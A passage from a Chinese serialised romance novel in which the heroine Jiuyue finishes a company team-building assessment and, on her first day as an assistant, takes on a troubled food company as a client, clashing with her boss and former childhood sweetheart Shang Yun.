奈何落花有意流水无情。尚云对她的心思不作任何反应,常常一派兄长姿态,亲切中带着疏离。 阿闲开着尚云配给他和木信的路虎,把车停在别墅大门外。尚云把金子玥送到大门外,后者神色无限委屈。“云尚哥,那我走了。” “好。”尚云颌首。 车子还没开,金子玥突然从路虎上跳下来,冲到尚云跟前。 “又怎么了?”尚云诧然。 “云尚哥。”金子玥突然变得扭捏:“你不让我在这里住,那你隔壁那间房是给谁准备的呀?怎么看都像是女孩子的房间。” 尚云似乎不愿意回答这个问题,眉头微蹙,头偏向别处。 金子玥急了:“尚云哥,你不会让别的女人住进来的,对吗?” “嗯。当然。”尚云知道应付不过,巧妙答道:“我这里没有‘别的女人’,只有主人。” 金子玥顿时眉开眼笑,趁其不备,在尚云脸上印下一个香吻。 尚云怔仲间,她人已跳上路虎了。 第二十三章 尚云亲自观战 龙子玥走后,尚云慢慢走回屋里。 他掏出钥匙,打开二楼转角处一间房门,门上有三个金楷字体“明月居”。 这是他的书房,装修风格时尚现代化,嵌入式书架和桌椅都是木质,墙上装修也极其精减。他往墙上触摸了某个开关,室内格局立即大变。 原来装满书籍的书架瞬间转换到背面,另一面转到前面,成为古色古香的衣橱,透过防护玻璃,可以看到衣橱左边有一套铠甲服,头盔,靴子,一把锃亮古色弯刀,单独长格橱柜,悬挂一弯弓,弓下方摆着一筒箭。如果细心观察,能发现每一件物件都有隐蔽的“明月”字样。 衣橱右边一套烟青色侠士女装,莹白巧玉首饰。书房侧面有一整面墙,竟是隐藏式巨大壁画,壁画的内容与那幅《漠影》一模一样。 少年侧颜坚毅,棱角分明,眸光如星。身穿铠甲,肩披战袍,弯弓指月,气势恢宏。圆月似玉盘,照映苍茫大地,一位身着侠士女装的少女,双掌微合,黑眸含着水光,流连于月,似在乞愿。 戎马一生的明月战神和《漠影》是他不宣于人的两个秘密,永远的秘密。 朝墙上触摸,一切物什又恢复原样,面前是一间再普通不过的现代书房。 锁好书房的门,他离开了别墅。 天已大亮,九月像平时一样,起床很早。 去食堂时,下意识地在空荡荡的训练场停留片刻,待网栏外围那抹矫健身影飞奔过去,她才离去。 但今天他迟迟未出现。 正当九月准备离去,就听到悦耳的声音远远传来,“尚云哥,我快追不上你了。能不能慢点。” 那一声“尚云哥”让九月移不动脚步,她转身,看到尚云无可奈何,放慢速度等后面的女孩追上来。女孩身形瘦削,却一脸青春烂漫,此时因长时间跑步,白皙的肤色洇了一层红润,她气鼓鼓地站在那里,眼里水波流转含着娇慎。 像极了,少年时的尚云和九月。那时的尚云满心满眼都是九月,而九月也形影不离,一口一声“尚云哥”。 直至二人打赌,以“不准再叫哥哥”为赌注,她再也没唤过他“尚云哥”。当初不明其意,而如今看到这温馨场面,她心中的酸涩难以言说。 此时两人并肩在跑道上,听到尚云清冷的声音,建议道:“平时要多运动,慢慢增加里程,不能心血来潮跟我跑个十公里,身体受不了。” “尚云哥你在关心我哦。”女孩得逞般的得意。 “我这是向你普及运动常识。” “你就是在关心我!哈哈!” “你说是就是!”古尚云无奈一笑,转头看到站在围栏里的九月,笑容戛然而止。 九月面无表情转身,步履平稳地大步走向食堂。只觉胸腔出现一块空洞,隐隐作疼。 在自助早餐盒里选取几样早点,一杯热牛奶。心不在焉的坐在一角。 一个高个男子落坐在对面,“嗨!九月,你这么早?” 九月听到声音抬头一看,见来人是第一天训练时印象深刻的男孩,牵强一笑:“你也挺早的。” “那天谢谢你救场,否则,我早就失去这个工作机会了。” “不值一提。看得出来,你有很强烈的意愿加入公司。” “当然。不瞒你说,这里的老板尚总,原来是我朋友所在公司的副总,两年多以前出来单干。我朋友通过长时间的接触和观察,觉得这个老板不错。他看好这个老板的能力和人品,不会亏待跟随他的人。强烈建议我入职他的公司,我只告诉你,可别说出去哦。” 九月瞬间想到对方所说的应该是尚云原生家庭的产业,对外宣称尚云的强盛,这不就是一种扶持吗?亲情之爱可谓用心良苦,她下意识就这么回了一句:“嗯,你朋友怎么不来?” 至于尚云在自家公司做副总,怎会还出来创业。这曾是九月的疑惑,但仔细想想并不奇怪。尚云天生就有一股不愿屈居人下,不食嗟来之食的冷傲,当算家里把现成的家产都交到他手里,大概也不会乐意接受。 高个男孩不知这许多弯弯绕绕,抬头一愣,反问道:“你似乎并不是那么看好这里,如果是这样,你为什么会来公司呢?” 来普世公司并非她心甘情愿,而是迫不得已。这些当然不会告诉他,九月淡淡地道:“你误会了。相反,我也看好公司。看一家公司的工作氛围只需看执行力度,看公司能走多远、攀爬多高,则是看入职培训。结合面试当天的印象和这几天的培训内容,我认为这家公司二者皆为顶尖,未来不可限量。” “你以前是做什么的?懂这么多。” “品牌视觉设计。” “第一天就觉得你不一样,原来职位这么高大上,一听就知道不简单,我算是抱到大腿了吗。”男孩夸张地道。 九月这时也微微一笑:“你应该没什么工作经验,随便一句话就把你唬住了。” “我以前玩电竞的,刚转型,做回我妈妈口中的正经男人,想找一份工作好好努力。”高个男孩突然伸出手道:“我叫莫诚,交个朋友吧!” 九月微微一笑,伸出手:“莫诚你好。” “九月大神,以后多关照。”莫诚说。 这天是培训期最后一天了。 全体新人共同参与一个考核项目名为“孤岛争霸”。 公司各部门领导在每一场新入职综合考核都会来观战,严教官发现,这一次,尚云竟也抽空来到现场。严教官是他亲自培训的,自他上手后,尚云就将训练场交给他,这是莫大信任。 所有新成员均分为三组成员,代表“三个国家”,国家中分别有首领、将、兵、工商、子民几个角色。第一部分是三国争霸,考验三个国家的军事能力,和人员统筹能力,考验布局和制衡;第二部分是孤岛求生,考验三个国家的团结配合能力,以及领导决策力。 凡是参与了入职培训的人,都能有角色转换能力,站在全局视角去做自己角色中最正确最理性的选择,否则很容易被淘汰出局,终生不会被普世录用。 这项训练考核是尚云亲自设计的,他的目的不言自喻。 “通过这么一场活动,以后全员知晓公司该守的底线,重视核心价值观,就不敢逾矩。公司不断有痛醒的新人输送进来,不断将旧人唤醒,才真正实现公司整体常学常新。这些训练和投入都是值得的。因为,公司全体员工的心态在公司资产中,是最昂贵也是最神奇的资产。” 三位辅导员分别领着各自的队伍离开,进入项目营地。团队人员推选出首领,首领跟据各自的意愿和特长开始分配角色,进入备战。 首领只有五分钟的宣讲时间,在五分钟内许下自己的承诺,如果众人追随自己,能实现什么,得到什么。而自己又站在什么立场来侵占对方的营地和子民,用什么样的信仰来说服自己的营地和子民坚定拥护自己,不受他国所诱变。 二十四章 不放弃任何一个人 团队是随机组成,九月所在的团队,有一半是涉世未深的初入职场者,有一半是公司行政后勤保障工作者,没有几个能谋善战的强将,但这些人贵在纯粹。 看着自己的团队,九月道:“我们这个团队谁愿意来担任首领?” 本是再正常不过的打破僵局抛出问题,大家竟你看看我,我看看你。不像其他两个团队呼声那样高涨。眼看他们的团队已经在慷慨激昂的宣讲了,莫诚高声支持九月为首领,其他十个人六神无主,纷纷同意。 九月就这样被意外推举成为首领,因为大家对她的印象非常深,训练中好几次都表现出王者风范,有定见,有想法,有谋略。 她的宣讲词很简单,大家也都听得明白:“其他两个团队大多是职场精英,论谋略和决策,我们未必能赢。这不是长他人志气灭自己威风,而是现实情况。但是,无论外敌如何强大,我们只要做到一点,就能化解他们所有的策略。那就是‘忠诚’。 我们要抱团取暖,不放弃任何一个人,不让任何一个人落单。我们的目标也很简单,就是要活下来,让每个人都能拿到普世公司的入场券。一个人的力量想要突围很困难,但我们十二个人的力量足够强大,你们要相信自己,也要相信我。 无论他们如何来洗脑,如何来鼓动,围攻也好,一对一诱惑也好,都别动心。 最重要的一点,既然我的角色是首领,就有义务保护大家。遇到危急关头,你们也要听我指令与安排,不要慌乱,不要被任何人干扰。我承诺,就算赔上我自己的入场券,也不会让你们失去。都明白吗?” “明白,一切听你指挥!我们必胜!”莫诚带头支持。其他人也都以鼓掌明志,“明白了,放心吧!” 跟大家交了底之后,也差不多到了备战时间。 各就各位,三个国家分庭对抗。在一系列体能考核时,有一个突破火坑障碍环节,新员工身体素质各有不同,虽经过几天训练已有提升,但还是有人深陷“火海”,无法逃出障碍。 有的男性身形矫健,很快逃离,争得项目先锋,获得加分。 有的则被困在原地。 九月本身在团队中是需要被保护的弱者,但由于首领身份,她必须表现出女王的风范,保护团队一个个安全度过困境,延误了最佳逃生时间。在“火圈”往下掉的时候,躲避不及,差点受伤。虽然有惊无险,却因此被困在原地。 令她感动的是,所有团队成员都没有离开,纷纷在火坑四周替她寻找安全出口,手牵手形成“人链”,将九月拉上来。 跟九月一起被困的还有其他团队的三个成员,眼巴巴地看着她。九月跟团队将他们也一起拉了上来。带着他们一起逃离现场,奔往下一个目标地。 教练一边发出规则指导,一边观察,做好记录。在这个项目中被“火圈”砸中的人达九人。 各组均有不同程度的损兵折将。影响后来的战备力量,导致最终有一个团队“亡国”。 每个国家有三次亡国再复活机会,因此,第二轮又开始了抢占营地项目。 敌不动,我不动。敌动,九月团队立即全体出击,迅速拿下。 因为在战术上没有很多技巧,大家并不恋战,见好即收。 墨菲定律在九月团队开始显现。因为成员中多了三名降兵,筹码一时多起来,人员分配中也占了优势。 其他两个国则相对实力被削弱,尽管擅长计谋与埋伏,但九月团队成员根本不吃这一套。再加上三名降兵也将自己原团队的策略供出来,九月团队乘势消灭了一个国,扩大了营地。 在最后一个阶段时,九月举手示意大家停下来,“这是第三关了,我估计大部分人已经使用完复活机会了,我不知道会有什么后果。毕竟关系到每个人拿到工作入场券,所以,这一环节我们的目标是乘胜夺冠,困住他们别妨碍我们前进就行,别大开杀戒。” 众人点头赞同。 全体人员到了孤岛,这是一个四面环海毫无退路的实战场地。在有限的资源下想存活下来,必须掠夺食物和武器,否则就算不被孤岛中的“恶兽毒虫”袭击,也会“饿死”。 辅导员每过十五分钟,用无人要投放一定量的干粮和子弹器物,团队平分干粮只能保证不会挨饿,并不能饱腹。武器也仅够支撑一阵子,必须夺取食物。 教练通过无人机,给每个团队发出指令,引导团队前进。 有一组团队盲目听从指令,中了埋伏,全军覆没。 还有一组团队痛定思痛,完全与教练提供的信息做出相反的决策,结果也闯进陷阱。但好在只是困住了,还是有机会取胜。 莫诚在前面探路时,不幸踩中陷阱,闷不吭声地被网吊在两米高的半空。 “莫诚!”九月惊呼。 挣扎几下,发现是徒劳。莫诚贴着网面朝外看了看,着急喊道,“有人在前面,很快就能发现皮艇,我们没有时间了。” 有人建议说,“留一半的人在这里救人,一半的人去抢皮艇。” “不行,游戏规则是游艇谁先发现就算谁的,前提是先发现游艇的团队成员已到齐。包括智能牌上显示‘严重受伤’但还有‘生命征象’的成员都必须一起上,才算数。” 九月思考再三,说道:“有两个选择,第一,你们全部人一起去抢夺游艇,如果我和莫诚五分钟之内没有赶来,你们就上游艇。我和莫诚自毁智能牌,也就是自杀,不连累大家。第二,大家都留下,想办法救莫诚,能否获胜看天意了。” 众人从头至尾都没有分散过,已形成团体意识,此时内心挣扎了半晌,纷纷选择留下。 “好!大家抓紧时间分头寻找,从前面的经验来看,解决办法就在困境中。”九月一声令下,大家分头寻找。 “这里。”有人兴奋举起一只收缩皮垫。展开是一个三米大小的正方形皮垫。 “我也找到了。打气筒。” 只要爬上树割断绳子,就能救下莫诚。对于九月团队的成员来说,论谋略可能逊色,但这些活真就不在话下。 莫诚很快获救,不敢耽搁,匆匆往目的地赶去。 九月团队找到皮艇的时候,阿涛团队也找到游艇。两个团队在争论不休,教官及时出现,制止这场纷争。 皮艇确实是阿涛团队发现的,理应属于他。但九月团队里有人指出阿涛撒谎,“他在撒谎,我明明看到他团队有几个成员被困在陷阱里,前不久打过照面。他以为我们碰上会全部歼灭,没想到我们并没有将他们赶尽杀绝。所以,皮艇应该属于我们,我们团队的成员全部在这里。” 教官查证后,证实阿涛确实存在撒谎,不但违背了活动规则,而且严重违背公司核心价值观。 第二十五章 九月被归为“高潜能人才” 全体成员回到训练基地,那里有一排桌椅席位,全是普世公司的领导人。新成员在席位前列队而立。 教官宣布了三个团队的训练成绩。作为肉眼可见的弱势团队,九月团队竟100%合格。十五个人当场欢呼成一团。其他两个团队成员没那么幸运,淘汰了五个人,其中一个还是首领角色。 教官将话筒交给尚云,尚云站起来,走至队伍前,现场一时蓬毕生辉起来。明明他与在座的人穿着打扮也不相上下,然而他浑身上下的气场和风度,让人一眼就能在人群中注意到他,哪怕他一言不发。 “恭喜各位,无论有没有拿到公司入场券,相信参加了这次活动,你们都有所收获。 这段时间你付出了多少,收获了多少,用了多少心,公司文化你理解几分,全在你今天的表现里。这七天就像练兵千日,用兵一时。体验了绝望和亡国之痛,也经历了让人迷失的致命诱惑。仅仅一张工作入场券,就测出了你对欲望的把控能力,对你们本人和公司来说都是值得反思的。 无论身处什么境遇,只要原则和意志不动摇,有坚定的信仰和目标,游戏规则就是有利你们的。团队为什么有人会受伤?为什么会阵亡?为什么会亡国?如果你们反思就会发现,这些结果的呈现,来自你们的私欲,来自个人主义,来自对眼前利益太过于看重,置团队利益和团队目标不顾。” “你们可能会反驳,是教练发出的指令扰乱你们的判断,令你们顾不得了那么多了。关于这一点,在今天考核前,我在旁边有听到教练提醒过,他的指令有时候是风向标,有时是迷雾,需要你们自己去分辨。 利益(权威命令)与价值观冲突时,需要自己独立、快速判断,做出决策。 军人天职是服从,将在外,军令有所不受。我们身在职场,在竞争激烈的市场,就必须把自己视为一支军队,军队也必须像一体一心,当需做决策时,首先考虑的团队大局,该考虑的是你们的终极目标。这一点,我要表扬九月团队。”尚云目光投向九月,她目光虚迷,正看着自己。有点像少年时期在暑假夏令营中,他一席铠甲战袍出现在她面前时,她投在他身上的痴恋目光。 九月在四目相接时,倏然清醒,收回目光低下头去。若不是迷彩训练帽的遮挡,尚云可以看到她脸红到耳根却强作镇定的窘相。 “他们遇到阿涛的团队成员,并没有赶尽杀绝,因为知道自己的终极目标是夺得游艇壮大‘国家’,不是为了战争,也不是为了杀尽对手。 结果九月团队的慈悲,最终成就了自己的胜利。如果他们在山洞发现竞争对手,赶尽杀绝,阿涛就获得游艇使用权,最终胜利的就是阿涛团队。 而阿涛作为团队首领,抛弃了团队成员,独自一路英勇,团队支离破碎、溃不成军,自己也惨败。 记住一句话,个人英雄主义前路有限,但团队才能承载无数英雄梦。 你在公司里,在岗的每一分钟,做的每个决定,表达的每句话,你的每一个行为,背后都决定着你的个人形象、你的工作能力、你的团队会受影响,影响是一点点累积的,影响是无形中增加的。明白这一点,你们就不虚此行。” 莫诚带头鼓掌,他悄悄用胳膊撞撞九月,“我朋友说的没错吧,老板确实很有范啊。” 九月刚刚失态,正在懊恼,便点点头,并未回话。 教官接过尚云话筒,宣布说:“尚总对此次训练考核的总结,相信大家如雷贯耳。每一句话的力量都是他真枪实刀打出来的经验,我们很幸运不费力气就得到了这样的指导。 那么,七天入职培训正式宣布到此结束。拿到入场券的新人,时刻要谨记践行十项铁律,明天正式入职普世公司,那里才是你们真正的战场。没有拿到入场券的几位新人,也祝你们前程似锦,明天统一去公司结算这几天薪资。食堂为大家准备了丰盛晚餐犒赏大家,请各位尽情享用。” 又是一阵阵掌声和欢呼声,有人欢喜有人失意。 经过丰富多彩百味杂陈的培训期,第二天新人被输送到各个部门。 九月在考核中表现突出是有目共睹的,加上素来有公正严明之称的教官,在7天的培训表现记录表上,评价可谓满是溢美之辞,她被划为公司的高潜能人才,都心服口服。 尚云作主,将九月分配给木信做助理。 对于他人的艳羡和hR部门的重点介绍,当事人九月并不知道“高潜能人才”代表什么,因此也浑然不觉跟其他人有什么不一样。 她的办公桌在木信的办公室,而隔壁就是老板尚云的办公室。 任何客户来访必须通过她这一关,才能与老板见面。没想到,上班第一天就接手一个烫手山芋。 这时一个怒气冲冲的成熟女性大摇大摆走进办公室,“尚总呢?” 随后,前台客服小袁也焦头烂额地赶过来。 “什么情况?”一头雾水的九月问,小袁低声抱歉。“对不起,我拦不住,她没有预约,硬是要直接面见尚总。” “我知道了,你先去忙吧。” 九月回头,看到成熟女性自顾自的坐在沙发上,正冷眼看着自己,“您好,尚总不在,您有需求可以留下联系方式,我将您的需求记录下来呈给尚总,之后再依情况安排面见,您觉得如何?” “少来虚的!”女性站起身,“我公司高管以礼相待,来你们公司谈合作,到现在整整三天都没音信,这就是你们的待客之道?普世公司不是很重视客户吗?将客户拒之千里就是你们的价值观?今天没有合理的解释,我就不走了!” 九月一听,便明白几分。这位客人是遗留问题,自己不知头也不晓尾,木信正好有事出去了,也不能直接去询问尚总。 “请稍等,我查看下进度。”便赶紧让人送来咖啡,又将会客区的时尚杂志拿了两本过来放在她旁边。 第二十六章 你以为你是谁 这位女性虽然不耐烦的白她一眼,倒也没有再发飙,喝了一口咖啡,被放罢旁边的杂志吸引注意力。 安抚好她,九月第一时间在公司系统上发信息问小袁情况。 得知客人是“糖世家”食品公司创始人的二女儿唐沁,也是现在糖世家的当家人。公司经营不善,眼看就要四分五裂,公司没有得力干将,便想借助外包公司拯救。得知普世公司在管理咨询行业小有名气,接手的案子从无失手,便派代表来普世公司咨询。 木信便派人了解公司情况,不久便委婉拒绝这个案子。委派人是唐家侄子唐用,在公司横惯了,一时气恼便道,“我看你们无非是钱没给到位,摸透我们的情况现在想趁火打劫,坐地起价,装什么装?”居高临下地打电话叫人拿三倍酬金,箱装的现金,摆在木信桌上,丢下合作意向后就回去复命了。 木信在当时,就叫人将装现金的箱子塞回对方车里,这事不了了之。但唐沁显然不知情,几天没见动静,今天亲自上门来讨公道。 “糖世家发展成今天这般田地,不是没有原因的。”九月心里暗暗叹息。见唐沁已然气消,便试着跟她沟通。 “唐二小姐,让您久等了。我刚才看了下进度,公司正在拟方案,但情况比较特殊,所以需要一些时日。” 唐沁从小生在商贾之家,来之前就知道普世拒绝了自己的订单,这次来纯粹为了出一口气,给尚云难堪,不至于在业界流为笑柄。 听九月这么一说,反而有些诧异,“你说什么?!又跟我玩什么套路?” “您别急,先听我说。贵司一言不合就给普世公司冠上坐地起价的帽子,又气势凌人将订单甩给我们。已知贵司的最大问题不在公司本身。唐世家是一个老品牌,创建到今天也有自己的鼎盛时期,足以说明公司的机制没有太大问题。 从品牌角度来说,公司每个成员在外面都能代表公司,员工的一言一行都是公司形象和公司的脸面,以我们的直接感受来说,贵司如不挽回这种形象,约束公司成员的言行举止,只怕愈发不可收拾,绝非我司能解决的范畴。当然,这只是初步诊断,内在的深层问题一定在解决拦路虎之后才能进一步挖掘。” 唐沁本想反驳,然而对方有理有据,加上自己今天也气势汹汹,事实摆在眼前,居然哑口无言,半天才道:“既然如此,你方才又说,你们公司正在草拟方案,又是怎么回事?” “先自救,方能施救。如果公司没有求生欲望,任何管理咨询公司也无法帮助你。我们的方案要看唐世家的真实情况而定。” “依你们看,我该怎么做?” “很简单,第一步,先要求全公司成员树立好外在形象,标准就是全员做到‘已所不欲,勿施于人’这八个字,这是我们开的第一个药方。” 唐沁凝神而思,想起父亲生前将打拼一生的成果,交到最得父亲看重的二女儿手中,期望她能将公司继续发扬光大。 然而这十年来的发展,不仅没能如父亲所愿,反而身陷囹圄,她万分懊恼,脾气秉性也日渐古怪。“练兵先练官,强军先强将,这是父亲经常说的话,看来我该反思了。” “没错,练兵先练官,强军先强将!”九月知道她已经想明白,“以身作则是最好的领导方式。” 唐沁站起来,伸出手:“强将手下无弱兵,一个助理也如此不简单!” 九月双手握住她的手,“过奖,希望公司的建议能帮到您。” “我先回去了,再联系!”唐沁温柔一笑,身上已无半点骄横之气。 九月将她送到门口,暗暗松了一口气。 木信回来后,九月将事情经过跟木信描述了一遍。 “你跟她说,公司接下订单了?” “怎么了?公司不是因为他们的态度太嚣张,所以不接受订单的吗?现在,这个问题解决了。”九月隐隐感觉到闯祸了。 木信急得一时不知怎么跟她解释。手舞足蹈半天,也只能无力地说,“下次这种事情,你可以推给我来处理。” 下午时分,木信从尚云办公室打电话来,声音低沉:“你来总经理办公室。” 九月应了一声,挂断电话怔怔站了几秒,走进了隔壁。 “尚总,李助。” 木信站在一旁,像是刚刚进行激励争论,气愤里还有残留的硝烟气氛。 “你先出去。”声音来自正襟危坐在办公桌后的尚云。 九月愕然,准备出去。只听木信道,“老板,是我没有跟他交接好工作,她第一天上班,也是一片好心想为公司做点事......” “出去!”尚云面色阴沉,轻声而简洁的又吐出两个字。 听到木信出去,喀嚓一声带上门。 他依然坐在椅子上,不紧不慢问道:“公司的经营理念是什么?” 九月估计是上午的事情,她不敢直视他,低头看着地毯,答道:“不以营利为最终目的。” “为什么?” “营利是公司发展的手段、过程,目的在于实现文化一统,以实现客户的使命和愿景为使命。” 尚云站起身,慢慢走过来,站在她面前,质问道:“既然立志要实现客户的使命和愿景,那遇上对方做着伤天害理的买卖,我们也帮吗?” 九月深感风雨欲来的压迫感,幡然醒悟,朝后退了一步:“公司要选择志同道合的客户,因为公司与客户是一个整体,客户能代表我们,我们也能代表客户。” “错?你错在哪?!”他声色俱厉,步步紧逼。 “我不该自以为是。” “你不仅自以为是!还目中无人!”尚云暴喝道,双目圆瞪,几乎要将她撕了去。“自做主张地把公司拒之门外的客户拉进来,自做主张的替公司做出订单承诺!!第一天上班,就要急着打我的脸。谁给你的胆子这么做!你以为你是谁!” 九月泪如断珠,却极力维持声音平稳,“我错了!” 他脸上的冰霜消融些许,浑身暴戾气息也渐渐消弥,转过头去不看她,措辞依然凌厉,却少了气势:“公司被你带偏轨道,把几百人辛苦经营的声誉毁之一旦,将公司从创业以来就坚守的原则打破,轻飘飘一句错了就能挽回吗?” “我承担所有后果,包括引咎辞职。” 尚云闻言猛然回头:“辞职?犯错以辞职为退路,形同逃兵,应以此为耻!” 进退两头都被他堵死。她不知道他意欲何为。 如果今天换一个人站在这里,他会如此不加掩饰地加以羞辱吗?会表现出如此强烈的厌恶吗? 不会的。 他说过,普天之下,唯独不在她面前做好人! 第二十七章 以后咱俩同路 这时,外面传来敲门声。 尚云看看九月,丢给她一小包纸巾。 九月擦掉眼泪,把纸团捏在手中。 “进来!” 门打开,木信探头进来说,“老板,金子玥来了。” 尚云无声叹息,“叫她等一下。” 话音未落,一个声音传来,“哎呀让我进去!尚云哥,我是来告别的。” “哎哎哎!”木信拦不住,被她挤了进去。 尚云蹙眉,不发一言盯着金子玥,金子玥挤进房里才发现气氛不对,看看神色紧张的两人,怕惹火上身:“尚云哥,我......我等会进来。” 金子玥出去后,房里恢复了沉寂。 “愣着干什么,还嫌不够丢人。”尚云沉声下了逐客令。 九月并未离开,她抬起眸子,看到他双手抱胸,半靠半坐在办公桌上,不知道啥时候解开了最上面两颗衬衫,额前的碎发因为刚才言辞激愤,稍微垂下来,侧脸棱角分明,就算面若寒冰,依然不减英俊。 “既然不能辞职,那我只能接手这个案子,将功赎罪。”她脸上已恢复平静。 他被气到了:“慕九月,我表达得还不够清楚是吗?” 她不为所动,勇敢直视他的目光,继续说道:“律师为天下人民申张正义,他们会选择自己的客户吗?任何自然人,哪怕身为罪犯,都有权利让自己获得法律辩护。” 他双手插腰,走至她面前,几乎咬牙切齿却又担心门外被人偷听而发出低吼声:“你知不知道这家企业的产品不只是质量有问题那么简单?知不知道一时心软帮了他们会伤害更多的消费者?” 他比九月高一个头,离得太近,她不得不抬头仰视,据理力争道:“我们不帮他们,其他同行也会接手,消费者的伤害能避免吗?如果我们接受服务,以签订君子协议为前提条件,或许能牵制这家企业回到正途上来,从源头上解决问题,才会真正杜绝你所说的伤害。” 尚云一时沉默了,他定定看着九月,这个思考角度是他从不曾涉及的。 靠得如此之近,九月几乎在他深遂眸子里迷失,差点像记忆中那样,毫无顾虑地抱住他。她稳住心神,慌乱低头避开他的目光,“我会写一个可行方案交给尚总你。” 说完,离开办公室。她前脚刚走,金子玥后脚就进来。蹑手蹑脚走过去,摇摇尚云的胳膊:“尚云哥,发什么呆呀!” “哦。子玥。”尚云像是虚耗了所有力气,走几步坐在沙发上,“你刚才说告别,是要回法国吗?” “人家说了回国实习的,回什么法国嘛。我说过的话,你一点都不上心。”小女生就是小女生,不识人间愁滋味。 尚云没有精力哄她,机械地问道:“那你准备去哪?” “回家啊。”子玥女儿姿态十足,此时嘟着嘴,幽幽说道:“你今天都要搬去滨海香苑了,我一个人在你公司公寓里不好玩。白天你那么忙,晚上也不能去滨海香苑找你,还不如回家。” “什么时候?我叫阿闲送你。”尚云说,想起九月小时候也这么叽叽喳喳,那时竟没有觉得半分呱噪,还挺享受那种温暖氛围。 现在,她脸上哪里还有当初烂漫笑容。想起刚才九月泪水夺眶而出,还强装平静的样子,他心如刀割。 “哼!巴不得我快点走对不对?” “那......”尚云头都快炸了,应付道:“今晚陪你去吃好吃的。叫上你哥哥。” 金子玥这才眉开眼笑,跳起来说:“好呀好呀,你别叫我哥,就我们俩。我可不想听他唠叨。烦死他了。那你先忙工作,我不打扰你了。” 木信回到办公室,看到九月神色正常,“你还好吧?” 九月淡淡微笑,“我没事。今天给你惹麻烦了,真对不起。” “没有没有,今天尚总的态度你别介意,在原则问题他从不姑息,对我也一样。但平时尚总不会这样,别看他酷酷的样子,时间长了你就会发现他人非常好。再说,你第一天来上班,我也没交待清楚,错不在你,慢慢来,有默契就好办了。” “嗯,我做得不对的地方,请你一定坦言指出来,我希望尽快上手。” 两人言谈之间一来二去,发现属于同一类人。 “我有个问题,想请教你。”九月说出自己对糖二代公司的看法,想详细了解糖二代,便于写方案。 木信把公司了解到的糖二代的资料全调出来,打印给九月。“你比我想像中还要优秀,不过别急在一时,今天辛苦了,早点下班吧。” “没事,你先走吧。” 资料上了解有限,九月在方案上做了初步计划,将方案分为五步计划实行。 窗外由明转暗,由暗转黑。华灯初上,映亮了半边天空。一旦专注投入工作,她总是忘了时间,不知今昔是何日。 终于把手上的方案尽数完成。差不多月上中天。 伸了个懒腰,腰酸背痛。看了看手表,心里惊呼:十点了! 这个时间段末班车已经过去了,只能打车。 走出办公大厦,九月站在公路边,路灯照着她,在地上拖逶着长长的影子。 看了看打车软件,怎么还不来?九月忍不住捂住嘴打个哈欠,眼睛都快睁不开了。 “九月。”身后不知什么时候站了个人。突然出声把九月哈欠都吓夭折了。 回头发现是他:“莫诚。你怎么也这么晚?” “哈哈,要努力工作,好好表现嘛。”莫诚朗声一笑。 不知为什么,九月在看到他那一刻,夜的凉意一扫而光。“住哪?一会车来了一起啊?” 他扯开灿烂无比的笑容。“我正想问你,我车在那边,送你回去,走吧。” “可我打车了。” “没事,可以取消。” 九月看看时间,便不再纠结,点了软件上的“取消订单”。 “女孩子这么晚单独乘车,不太安全。以后别加这么晚了。” “习惯了,走南闯北,都是一个人。不过,今天确实是有事耽搁了。”九月跟着他来到停车场,他手中启动车辆,替她把门打开。九月虽然不太懂车,直觉这辆车不是普通的车。 “没事,以后咱俩同路。”莫诚半认真半玩笑的说。“饿不饿,吃点宵夜吧?” 九月思索片刻,答应了:“嗯~好。” 接着,两人找了地方吃宵夜,莫诚似乎对宝宁市很熟,七转八拐,找到一家老牌字号的夜宵店,味道相当可以。 九月不想欠他人情,这夜宵权当感谢他送自己回家,偷偷先去买单,谁承想,被莫诚发现,遥遥对柜台打声招呼,“大强,我的。” 叫大强的青年男人会意,对九月咧嘴一笑,“诚哥付过了。” 九月才知他们是熟人。 直到接近十一点,莫诚才把九月送回住处。 “谢谢你送我回来,我上去了。” 莫诚在后面说道:“我就住前面,明天上班我载你啊。” “呃,不用了,我乘公交很方便,直达公司楼下。明天见,你回去慢点。” 莫诚摇摇手,也不勉强,看着九月的身影消失在转角,一踩油门走了。 第二十八章 宝藏男孩莫诚 一周没回家了,洋洋也给小竺照管。 家里冷冷清清,很不习惯。 洗漱完毕,想起明天去接洋洋,要跟小竺见面,指不定又问起那学长的事来,又从床上爬起来打开电脑收邮件。 附件两张照片,一份文档。 九月打开照片,发现是一张阳光帅气的男孩照片,一席金饰黑底的卫衣内配衬衣打扮,摆着超酷又时尚的poSS,让人眼前一亮。 眉眼怎么那么眼熟?他不是?! “莫诚!怎么会?!”九月吓一大跳。 除了发型不一样,可不就是莫诚本诚嘛。九月不敢置信打开附件,在他的个人信息文档,证实了确实是莫诚。 莫诚,男,28岁,巨蟹座,宝宁市人,父亲不详,母亲莫宁为外资企业高管,一直客居国外。莫诚本人是黑虎电竞公司创始人,除了公司正常的竞技项目,还运营三个游戏电竞俱乐部,旗下三十多家游戏网站。 这小竺,为了她真是连压箱底的资源都端出来了吧。 “怪不得说自己是玩电竞的,还真是一点都不假。”九月哭笑不得地自言自语。玩电竞也能玩出这样的成绩来,自己只当他是刚入职场的大男孩,长相与穿搭很时尚,很显小。古人诚不欺我,果然人不可貌相。 但是,非常疑惑莫诚怎么会出现在普世公司,巧合吗? 九月决定迟点再提,工作上的事已让她如临大敌,没有精力想这些。今晚下班前,将方案发给总经理,还不知道明天会迎来怎样的批判。 迷迷糊糊想着,进入梦乡。 没想到接下来的事情,比九月想像中更顺利。 她好几天都没有见到尚云,但收到他回复:同意。并cc给木信。 接下来,要去给糖世家公司“问诊”,没有两三天回不来。九月初次走流程,对业务也不甚了解,单独去肯定是不行的。 木信手头上还有别有项目,这两天正处于紧要关头,找其他人一起去尚云不太放心,糖世家不同于别的客户,弄不好真会砸了普世招牌不说,还难以收场。 思来想去,尚云打算亲自出马。 九月跟唐沁一直保持着联络,得知普世公司正式介入糖世家,自然是惊喜之情溢于言表,当即表示明天亲自登门拜访,谈合作。 见面后一阵寒暄,唐沁跟九月聊了几句工作外的话题,显然已经很熟悉了。 谈到工作,唐沁也不含糊,单刀直入的铺开问题,“上次慕小姐指出我公司人员素质与品牌问题,合情合理,经你一番指点,回去后就开会进行整改。” 尚云下意识的看了一眼九月,并没有责怪之意。 九月自信了些,便点点头接过话头说道:“我估计效果不会太好,头痛医头,脚痛医脚,没有系统的方法,见效快,但毕竟治标不治本,失效也快。” 唐沁惊讶的附和,“对,你说的没错,大家遵守新制度没几天,情况又开始反弹。” 